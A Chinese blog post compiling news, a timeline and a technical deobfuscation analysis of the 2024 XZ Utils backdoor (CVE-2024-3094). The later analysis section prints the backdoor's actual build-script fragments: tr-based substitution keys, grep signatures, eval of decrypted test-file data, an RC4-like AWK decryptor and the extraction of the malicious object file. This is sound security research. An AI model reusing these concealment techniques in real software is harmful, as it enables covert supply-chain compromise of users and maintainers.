XZ漏洞集
2024-03-30 21:18:52 阿炯

XZ-Utils 是 Linux、Unix 等 POSIX 兼容系统中广泛用于处理.xz 文件的套件,包含 liblzma、xz 等组件,已集成在 Debian、Ubuntu、CentOS 等发行版仓库中。


恶意代码远程访问攻击

XZ Utils 是为 POSIX 平台开发具有高压缩率的工具。它使用 LZMA2 压缩算法,生成的压缩文件比 POSIX 平台传统使用的 gzip、bzip2 生成的压缩文件更小,而且解压缩速度也很快。xz 也是一种通用数据压缩格式,几乎存在于每个 Linux 发行版中,包括社区项目和商业产品发行版。从本质上讲,它有助于将大文件格式压缩(然后解压缩)为更小、更易于管理的大小,以便通过文件传输进行共享。

2024年3月30日消息,Red Hat 公司发布安全公告称在最新的 XZ Utils 数据压缩工具和库中发现了一个后门,敦促用户立即停止使用 Fedora 开发和实验版本。目前排查结果显示 Red Hat Enterprise Linux(RHEL)没有任何版本受到影响。我们已经在适用于 Debian unstable(Sid)发行版的 XZ 5.6.x 版本中找到相关证据,证明存在后门,可以注入相关代码。最新版本的 xz 5.6.0/5.6.1 工具和库中包含恶意代码,可能允许未经授权的远程系统访问。

Debian 安全团队也发布公告表示当前没有发现有稳定版 Debian 使用问题 XZ 软件包,在受影响的 Debian 测试版、不稳定版和实验版中,XZ 已被还原为上游的 5.4.5 代码。微软软件工程师安德烈斯・弗罗因德(Andres Freund)在一台 Linux 盒子上调查 Debian Sid(Debian 发行版的滚动开发版本) SSH 登录缓慢问题时,发现了这个安全问题。他发现 XZ 格式压缩实用程序 xz-utils 的上游源代码压缩包已被破解,并在构建时向生成的 liblzma5 库中注入恶意代码。弗罗因德表示目前并未找到在 XZ 5.6.0 和 5.6.1 版本中添加恶意代码的确切目的。

Kali Linux 发布声明表示该漏洞对 3 月 26 日至 3 月 29 日期间的 Kali 造成了影响,建议相关用户尽快进行最新升级。Amazon Linux 则确认未受该漏洞影响,用户无需采取任何措施。OpenSUSE 表示已于 3 月 28 日回滚了 Tumbleweed 上的 xz 版本,并发布了根据安全备份构建的新 Tumbleweed 快照(20240328 或更高版本)。

“对于 SSH 被暴露在互联网上的 openSUSE Tumbleweed 用户,我们建议重新安装,因为不知道后门是否已被利用。由于后门的复杂性,不可能在系统上检测到漏洞。此外,强烈建议对可能从系统中获取的任何凭据进行轮换。否则,只需更新至 openSUSE Tumbleweed 20240328 或更高版本并重新启动系统即可。”

安全研究人员 Andres Freund 进行的逆向工程分析发现,恶意代码使用巧妙的技术来逃避检测。更多详情可查看此 oss-security 列表;值得一提的是,目前 GitHub 已全面禁用了 tukaani-project/xz 仓库,并附有一条信息:由于违反了 GitHub 的服务条款,GitHub 工作人员已禁止访问该版本库。如果您是该版本库的所有者,可以联系 GitHub 支持部门了解详情。

红帽公司(Red Hat)现正跟踪这一供应链安全问题,将其命名为 CVE-2024-3094,并将其严重性评分定为 10/10,同时在 Fedora 40 测试版中恢复使用 5.4.x 版本的 XZ。

XZ-Utils 5.6.0-5.6.1 版本存在后门风险


开发者 JiaT75 在其 GitHub 仓库中发布的 5.6.0 和 5.6.1 版本(github.com/tukaani-project/xz/releases/)加入了后门逻辑,使得构建的 liblzma 包含额外的耗时计算逻辑。

systemd 依赖 liblzma,导致 sshd 等依赖于 systemd 的应用程序也受到影响,sshd 服务启动速度变慢,存在未授权访问风险。

存在后门版本的 xz-utils 官方发布于 2024 年 2 月 24 日,被 Debian unstable 分支、Fedora Rawhide、Fedora 40、Arch Linux 等少数仓库集成,暂未被大规模应用,CentOS/Redhat/Ubuntu/Debian/Fedora 等 stable 仓库不受影响。该漏洞于2024年3月30日被发现,CVE 编号为CVE-2024-3094。

修复方案:将 xz-utils 降级至 5.6.0 以前版本或在应用中替换为 7zip 等组件。

恶意代码潜伏三年,后门投毒黑客身份成谜

整个周末,开源软件xz被植入后门事件,引发了安全界的轩然大波。研究人员惊恐地发现,在包括Red Hat和Debian在内的多个广泛使用的Linux版本中,一款压缩工具被悄悄植入了恶意代码!

微软的安全研究员Andres Freund首次报告了这件事。发现在这款名为xz Utils的工具的5.6.0和5.6.1版本中,都含有恶意代码。而且这段恶意代码极其复杂难解。扒着扒着人们发现,这段代码是由一位名为Jia Tan的用户(JiaT75),通过四次代码变更(也即在GitHub上「提交」)的方式,植入到了Tukaani项目中。

这样攻击者即使没有有效账号,也可以直接从SSHD访问系统了。目前,GitHub已经禁用XZ Utils代码库,且还未收到漏洞被利用的报告。

好在这个后门已经及时被发现了。目前GitHub已经以违反服务条款为由,禁用了Tukaani项目维护的XZ Utils代码库。然而可怕的是,如果这个后门的漏洞很巧妙,技术很高超,那么xz被广泛引入各Linux发行版后,这些Linux系统就会轻易被入侵!这件事情可能导致的可怕后果,让安全社区对此掀起了经久不息的讨论。

一场灾难被避免了

好在证据显示,这些软件包只存在于Fedora 41和Fedora Rawhide中,并不影响Red Hat Enterprise Linux (RHEL)、Debian Stable、Amazon Linux以及SUSE Linux Enterprise和Leap等主流Linux版本。但Red Hat和Debian已经报告称,最近发布的测试版中的确使用了这些被植入后门的版本,特别是在Fedora Rawhide和Debian的测试、不稳定及实验版本中。同样Arch Linux的一个稳定版本也受到了影响,不过该版本也并未应用于实际生产系统中。另外还有一些读者报告称,macOS的HomeBrew包管理器中包含的多个应用,都依赖于被植入后门的5.6.1版本xz Utils。目前HomeBrew已经将该工具回滚至5.4.6版本。

安全公司Analygence的高级漏洞分析师Will Dormann表示,「这个问题实际上并没有对现实世界造成影响」。但这主要是因为恶意行为者疏忽了,导致问题被发现的时机很早。就如同上文所提,如果后门没被及时发现,后果将是灾难性的。

Jia Tan是谁

既然事情解决了,那么问题的焦点就集中在了——Jia Tan究竟是谁?

这位Jia Tan,是xz Utils项目的两位主要开发者之一,对该项目贡献良多。Freund其报告中指出,「考虑到这几周内的活动情况,这位提交者要么是直接涉及,要么其系统遭受了严重的安全威胁。」

不幸的是,种种迹象表明,后一种可能性似乎并不大。所以这次xz被植入后门事件,很可能就是Jia Tan的主观恶意行为。上周有人冒用了这位开发者的名字,在Ubuntu的开发者社区中请求将含后门的5.6.1版本纳入正式发布,理由是它修复了一个导致Valgrind工具出错的问题。还有人发现,近几周这位开发者也向他们提出了类似的请求,希望在Fedora 40的测试版本中使用这个带有后门的工具版本。「我们甚至还帮助他解决了Valgrind的问题(而现在看来,这个问题正是由他加入的后门引起的),」Ubuntu的维护人员说。「他已经在xz项目中工作了两年,添加了各种各样的测试文件,鉴于这种复杂的操作,我们对xz的早期版本也持怀疑态度,直到后来,它们被证明是安全的。」

后门技术分析

简单来说,CVE-2024-3094引入的这个后门,是为了在受害者的OpenSSH服务器(SSHD)中注入恶意代码,从而让远程攻击者(持有特定私钥)能够通过SSH发送任意代码,并在认证步骤之前执行,进而有效控制受害者的整台机器。尽管具体的内容仍在分析当中,但初步分析表明,它的设计相当复杂:
后门代码被注入到OpenSSH服务器(sshd进程),因为liblzma(含有恶意代码)是某些OpenSSH版本的依赖项。
后门劫持了RSA_public_decrypt函数,这个函数原本用于验证RSA签名。
恶意代码会检查RSA结构中传入的公共模数(「N」值),这个模数完全受到攻击者控制。
恶意代码使用硬编码的密钥(采用ChaCha20对称加密算法)对「N」值进行解密。
解密后的数据通过Ed448椭圆曲线签名算法进行有效性验证。由于这是一种非对称签名算法,后门只包含了公钥,这意味着只有攻击者能够为后门生成有效载荷。此外,这个签名与主机的公钥绑定,因此一个主机上的有效签名不能在其他主机上使用。
如果数据有效,该有效载荷将以shell命令的形式被执行。
如果数据无效(有效载荷格式不正确或签名无效),则会透明地恢复到RSA_public_decrypt的原始实现。这意味着,除了攻击者之外,是无法通过网络发现易受攻击的机器的。

「卧薪尝胆」三年

这次最令人印象深刻的,是攻击者超乎寻常的耐心和决心。其花费了两年多的时间,通过参与各种开源软件项目并提交代码,逐步建立起作为一个可信任维护者的形象,以此来避免被发现。

2021年,一个名为Jia Tan(GitHub用户名:JiaT75)的用户创建了GitHub账户,并开始为多个项目做出贡献。在那一年他共提交了546次代码,其中对libarchive项目的一次提交尤其引起了人们的关注。

2022年2月6日,Jia Tan在XZ项目中做出了他的第一次正式提交,这次提交增加了对LZMA和LZMA2编码器的参数验证功能。

2023年6月27日至28日,Jia Tan对XZ Utils项目进行了一系列关键的更改,从而为后续的攻击做好了准备。

特别是,项目中的一个文件crc64_fast.c,新增了对一种名为ifunc的技术的支持。根据安全研究员Andres Freund的分析,引入的这种ifunc技术可能是潜在后门功能的一部分,显示了攻击者可能利用的一种手段。

此外,值得注意的是,这个重要更新是由项目的原始维护人Lasse Collin引入的,并且他特别提到了另一位贡献者Hans Jansen对这一更新的贡献。

2023年7月8日,JiaT75在oss-fuzz项目中提交了一个请求,该项目负责对XZ等多个开源软件项目进行自动错误检测。这个请求实际上关闭了一种特定的错误检测方式,从而防止oss-fuzz发现XZ项目中潜藏的恶意代码。

2024年2月15日,JiaT75通过修改XZ项目的配置文件,加入了一个规则来忽略特定的脚本文件build-to-host.m4。

很快,这个脚本就被包含在了项目的正式发布版本中——它会在构建过程中执行,并植入一段负责在受害者电脑上安装后门的恶意代码。

2024年2月23日,JiaT75在XZ项目的测试文件夹中加入了两个含有隐藏后门的测试文件。

2024年2月24日,JiaT75发布了包含恶意脚本文件的新版本5.6.0,也就是说任何使用了这个版本及以后版本的XZ都存在安全风险。

2024年2月27日,这个带有安全隐患的版本被Fedora采纳。

2024年3月9日,JiaT75更新了后门程序,发布了版本5.6.1,Fedora同样更新了这个版本。

2024年3月29日,安全研究员Andres Freund在oss-security邮件列表上公布了他对XZ项目中发现的恶意行为的详细分析。

还有更多受害者

虽然恶意代码仅在XZ项目中被检测到,但攻击者账户的其他代码贡献目前也在调查中。

截至今日,一些项目已经被发现添加了可疑代码:

libarchive
2021年,JiaT75向libarchive代码库提交了一个名为「在使用bsdtar解压时添加错误提示文本」的合并请求,乍看之下似乎没什么问题。但仔细一看,这个合并请求中的代码把原本安全的函数safe_fprintf()换成了更危险的fprintf()函数,这一改动可能会导致字符逃逸的安全漏洞。

oss-fuzz
2023年初,JiaT75把XZ项目在Google的oss-fuzz工具上注册的主邮箱改为了他个人的Gmail邮箱。这一行为似乎暗示其想要第一时间接收到XZ项目中发现的漏洞报告,以此来及时知晓自己的恶意操作被揭露的情况。

2023年末,他们提交了一个新的合并请求(Pull Request),目的是在XZ项目的fuzzer配置中禁用「间接函数支持(Indirect function support)」。

这一操作似乎可以防止被fuzzer探测到,从而为在XZ项目中植入的后门做好铺垫。


XZ 开源攻击时间线


知名压缩软件 xz 被植入后门,黑客究竟是如何做到的?

Andres Freund 通过电子邮件告知 oss-security@ 社区,他在 xz/liblzma 中发现了一个隐藏得非常巧妙的后门,这个后门甚至影响到了 OpenSSH 服务器的安全。Andres 能够发现并深入调查这个问题,实在令人敬佩。他在邮件中对整个事件进行了全面的总结,所以我就不再赘述了。

诚然,这个故事中最吸引眼球、最耐人寻味的部分,无疑是那个经过重重混淆的、藏有后门的二进制文件。然而,勾起我兴趣的,却是 bash 脚本一开始的那几段代码,以及其中运用的简单而巧妙的混淆技法。接下来,就让我们沿着黑客的足迹,一层层揭开这个谜题的面纱,领略大师级的隐藏技巧。不过请注意,我并不打算事无巨细地解释每段 bash 代码的所有功能,而是着重剖析它们是如何被层层混淆、又是如何被逐一提取出来的。这才是其中的精髓所在。

在正式开始之前,有几点不得不提:

这个后门影响了 xz/liblzma 的两个版本:5.6.0 和 5.6.1。这两个版本之间存在一些细微的差异,我会尽量在分析过程中同时覆盖到它们。
bash 脚本部分可以划分为三个 (也可能是四个) 主要阶段,我将其称为 Stage 0、Stage 1 和 Stage 2。Stage 0 是指在 m4/build-to-host.m4 文件中添加的启动代码。至于潜在的 “Stage 3”,虽然我怀疑它尚未完全成型,但也会略作提及。
那些经过混淆和加密的代码,以及后面的二进制后门,都藏身于两个看似无害的测试文件中:tests/files/bad-3-corrupt_lzma2.xz 和 tests/files/good-large_compressed.lzma。切莫小觑了它们。

让我们先来看看 Stage 0 —— 这个谜题的开端。

Stage 0

正如 Andres 所指出的,一切的起点都在 m4/build-to-host.m4 文件。让我们逐步解读其中的玄机:

...
gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
...
gl_path_map='tr "\t \-_" " \t_\-"'
...

    首先,它从 tests/files/bad-3-corrupt_lzma2.xz 文件中读取字节流,并将其输出,作为下一步的输入。读取完所有内容后,它还会额外添加一个换行符。这种步步相扣的方式在整个过程中随处可见。

    第二步是执行 tr 命令,将某些字符 (或字节值) 映射为其他字符。来看几个例子:

    echo "BASH" | tr "ABCD" "1234"  
    21SH

    在这个示例中,“A” 被映射为 “1”,“B” 被映射为 “2”,依此类推。

    我们也可以指定字符范围。例如在上面的示例中,我们只需将 “ABCD” 更改为 “A-D”,并对目标字符集执行相同的操作:“1-4”:

    echo "BASH" | tr "A-D" "1-4"
    21SH

    类似地,我们可以指定它们的 ASCII 代码的八进制形式。所以 “A-D” 可以改成 “\101-\104”,“1-4” 可以变成 “\061-\064”。

    echo "BASH" | tr "\101-\104" "\061-\064"
    21SH

    回到我们的代码中,tr "\t \-_" " \t_\-" 对来自 tests/files/bad-3-corrupt_lzma2.xz 文件的字节流做了如下替换:

        0x09 (\t) 被替换为 0x20

        0x20 (空格) 被替换为 0x09

        0x2d (-) 被替换为 0x5f

        0x5f (_) 被替换为 0x2d

    这一番调换,实际上起到了 “修复” bad-3-corrupt_lzma2.xz 文件的作用,让它重获新生,成为一个合法的 xz 数据流。

    在 Stage 0 的压轴戏中,修复后的 xz 字节流被提取出来,并对过程中的错误选择性地忽略。而这个过程的成果,正是 Stage 1 的脚本,它随即自我执行起来。

接下来,让我们关注 Stage 1 —— 那个充满神秘色彩的开端。

Stage 1

在 Andres 的邮件中,Stage 1 对应的是那个以 “####Hello####” 开头的 bash 文件。它虽然篇幅不长,但值得我们仔细研读,并留意 5.6.0 和 5.6.1 版本之间的差异 (以黄色字体做标记):

第一个区别是第二行注释中的随机字节:
在 5.6.0 版本中是 86 F9 5A F7 2E 68 6A BC;
在 5.6.1 版本中是 E5 55 89 B7 24 04 D8 17。

我不确定这些差异是否有任何意义,但我还是想指出来。

其中一处引人注目的差异是,5.6.1 版本新增了一段检查脚本是否运行于 Linux 的代码,并重复出现了 5 次,颇有几分忏悔和自我约束的意味。

下面我们把目光转向 Stage 2 的提取代码,就是那个长度惊人的 export i=... 语句,里面塞满了 head 命令。让我们仔细分析一下它的运作机制:

    开头的 export i=... 其实定义了一个 “函数”,在第 3 步和 Stage 2 中被调用。

    提取 Stage 2 的第一步,是使用 xz 解压 good-large_compressed.lzma 文件,并将解压后的数据传递给下一步。这开启了一系列环环相扣的 “接力赛”。

    紧接着,i “函数” 登场 (eval $i)。这个函数由一系列 head 命令组成,要么输出接下来的 N 个字节,要么彻底忽略它们。

    最初的代码:

    (head -c +1024 >/dev/null)

    这里的 -c +1024 选项告诉 head 只读取和输出来自输入数据流的接下来的 1024 个字节 (请注意,这里的 + 将会被忽略,它不会做任何事情,这与 tail 命令不一样)。但是,由于输出在这种情况下被重定向到 /dev/null,我们实际得到的是 “跳过接下来的 1024 个字节”。

    值得注意的是,如果我们仔细观察 good-large_compressed.lzma 解压后的前 1024 个字节,会发现它几乎全是重复了 1024 次的字符 “A” (字节 0x41)。有趣的是,在第一个 1024 个字符之后,还隐藏着一些神秘的二进制数据。

    下一个 head 调用看起来和之前几乎相同,只是长度不同:

    head -c +2048

    注意这里的输出不会被忽略,它将作为输入传递给下一步。

    这个模式反复出现:1024 个字节被跳过,然后 2048 个字节被输出,1024 个字节被跳过,2048 个输出... 如此循环,直到文件的末尾,在 5.6.0 版本中只输出 724 个字节,而在 5.6.1 版本中只输出 939 个字节。

    为了直观地呈现这一点,这里展示了这组 head 调用处理的实际输入数据。字节 0 在文件的左上角;每一列表示文件的 256 个字节,以灰度表示。请注意高熵 (“嘈杂”) 区域之间的 “空灰” 区域 – 脚本的这一部分基本上是删除空白区域,将蕴藏数据的区域合二为一。

    在下一步中,使用 tail -c +31233 命令丢弃数据的前部 (剧透一下:那里隐藏了一扇二进制后门,它将在下一个阶段被打开,所以现在还用不到它)。在 5.6.0 版本中,丢弃的是前 31264 个字节,而在 5.6.1 版本中是 31232 个字节 (一个字节的差异是因为 tail -c +N 的意思是 “从第 N 个字节开始输出”,而不是 “忽略前 N 个字节”)。

    第 5 步重新使用了 tr 命令,在这里它被用作一个简单的替换密码,在 5.6.0 和 5.6.1 版本中有不同的密钥 (字节值映射):

    5.6.0: tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"
    5.6.1: tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377"

    根据之前的解释,这基本上意味着 (对于 5.6.0 版本) 值为 5 的字节将被值为 0 的字节替换,值为 6 的字节将被值为 1 的字节替换,依此类推。在每种情况下,都有 6 个范围映射到整个 0 - 255 (即八进制的 377) 范围。

    整个过程反复上演着这样的 “捉迷藏” 游戏:跳过 1024 字节,然后输出 2048 字节,再跳过 1024 字节,再输出 2048 字节…… 直到抵达文件的尽头。

这部分脚本的真正任务,是剔除其中的 “废料”,将有价值的数据部分连缀成完整的数据流。

    下一步中,数据流的前面一大段被果断抛弃。
    往后是借助 tr 命令实施简单的替换加密,5.6.0 和 5.6.1 版本使用了不同的密钥。
    最后,加密后的数据经过解压缩,呈现出 Stage 2 脚本的真容,并立即投入自我执行的怀抱。

现在,让我们进入 Stage 2,一探究竟。

Stage 2

Stage 2 就是 Andres 邮件中提到的 infected.txt 文件 (我手头只有 5.6.0 版本)。这个 bash 脚本可谓洋洋洒洒,正是在这里,编译过程遭到了不轨的修改。

以混淆的视角审视这个脚本,有三个片段值得我们特别关注,其中两个仅在 5.6.1 版本中才显露真容。

Stage 2 扩展机制

首先是 Stage 2 的 “扩展” 机制:

片段 1:
vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi

片段 2:
vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi

这两个代码片段几乎完全相同,所以让我们可以同时处理这两个片段。它们的作用如下:

它在 tests/files/ 目录下搜寻 (grep -broaF) 具有特定签名的两个文件:

    Fragment 1: "~!:_ W" and "|_!{ -"
    Fragment 3: "jV!.^%" and "%.R.1Z"

    如果找到它们,就提取每个文件的偏移量 (cut -d: -f2,假定 : 是字段分隔符,则取第 2 个字段),以第一个偏移量加 7 为 $start,以第二个文件的偏移量作为 $end。

    掌握了 $start 和 $end 这两个关键信息后,脚本就能从第一个文件中提取 $start 到 $end 之间的内容。

    cat $f1 | tail -c +${start} | head -c +${end}

    接下来,它使用和 Stage 1 如出一辙的替换解密方式 (对于 5.6.0 版本的密钥)。

    tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"

    最后,解密后的数据再次经过解压缩,然后立即执行:

    eval `... | xz -F raw --lzma2 -dc`

有趣的是,在我分析的两个版本中,都没有任何文件真正匹配这里的签名。因此,整个过程更像是一种 “插件/补丁” 机制,它允许我们在不修改原始 payload 的前提下,向 Stage 2 中注入新的脚本。

这是一个明智的设计,因为反复修改 “坏” 和 “好” 的测试文件是非常可疑的行为,可能会引起他人的注意。因此,他们的计划似乎是只添加新的测试文件,这些文件会被选中、解密并执行。

Stage 2 后门提取

然后是 Stage 2 中的后门提取过程。在某个关键时刻,一个 .o 文件会被悄然提取出来,并巧妙地嵌入编译和链接的流程中。以下代码就是这个环节的主谋(和之前一样,我将用黄色字体区分两个版本的差异):

两个版本之间的差异,主要体现在压缩后的 payload 大小略有不同(5.6.0 版本的 payload 大小为 88792,而 5.6.1 版本的 payload 大小为 88664),以及 AWK 脚本中的一个神秘常量有所变化。

与前面的步骤如出一辙,提取过程由一系列命令的完美配合构成。其中一些步骤与 Stage 1 遥相呼应,因为二进制的 payload 就安睡在 “good” 文件数据尚未开垦的处女地。让我们沿着脚印,一步步探寻:

    第一步与 Stage 1 的第二步相同,用 xz 解压 tests/files/good-large_compressed.lzma 文件。

    第二步同样与 Stage 1 的第三步一致,调用了先前的那个 “很多 head” 的函数。

    从这里开始,事情就有所不同了。首先,前一步的输出通过 sed 命令进行了修改:

    LC_ALL=C sed "s/\(.\)/\1\n/g"

    这个命令的作用是在每个字节后面添加一个换行符(除了换行符本身)。最终,我们得到了一个每行只有一个字节的输出(没错,这里大量混合了处理文件的 "文本" 和 "二进制" 方法)。下一步恰好需要这种格式。

    下一步,一个 AWK 脚本粉墨登场,它对输入流进行类似 RC4 的解密工作。以下是该脚本的美化版本:
    BEGIN {  # Initialization part.
      FS = "\n";  # Some AWK settings.
      RS = "\n";
      ORS = "";
      m = 256;
      for(i=0;i<m;i++) {
        t[sprintf("x%key", i)] = i;
        key[i] = ((i * 7) + 5) % m;  # Creating the cipher key.
      }
      i=0;  # Skipping 4096 first bytes of the output PRNG stream.
      j=0;  # ↑ it's a typical RC4 thing to do.
      for(l = 0; l < 4096; l++) {  # 5.6.1 uses 8192 instead.
        i = (i + 1) % m;
        a = key[i];
        j = (j + a) % m;
        key[i] = key[j];
        key[j] = a;
      }
    }

    {  # Decription part.
      # Getting the next byte.
      v = t["x" (NF < 1 ? RS : $1)];

      # Iterating the RC4 PRNG.
      i = (i + 1) % m;
      a = key[i];
      j = (j + a) % m;
      b = key[j];
      key[i] = b;
      key[j] = a;
      k = key[(a + b) % m];

      # As pointed out by @nugxperience, RC4 originally XORs the encrypted byte
      # with the key, but here for some add is used instead (might be an AWK thing).
      printf "%key", (v + k) % m
    }

    解密后的数据再次通过 xz 解压缩,重获新生。
    xz -dc --single-stream

    最后,使用相同的常用 head 技巧提取从 N(0)到 W(约 86KB)的字节,并将其保存为 liblzma_la-crc64-fast.o—— 这就是最终的二进制后门文件。
    ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o

总结

通过以上分析可以看到,有人煞费苦心地将这个后门隐藏得如此巧妙,令人叹为观止。从将 payload 藏匿于看似无害的二进制测试文件之中,到运用文件提取、替换加密、RC4 变种等技巧,再到将整个过程拆分为多个执行阶段,并预留 “插件” 机制以备将来之需,这一切无不凸显出幕后黑客的心思缜密和技艺精湛。

然而,这个案例也给我们敲响了警钟:如果这样一个精心设计的后门都是要靠意外才能发现,那么还有多少潜藏的威胁尚未浮出水面?我们又该如何及早发现并防范这些威胁?这需要安全社区每一位成员保持警惕,用更加缜密的思维去分析每一处细节,去揭示每一个蛛丝马迹。只有如此才能筑起维护网络安全的坚实防线。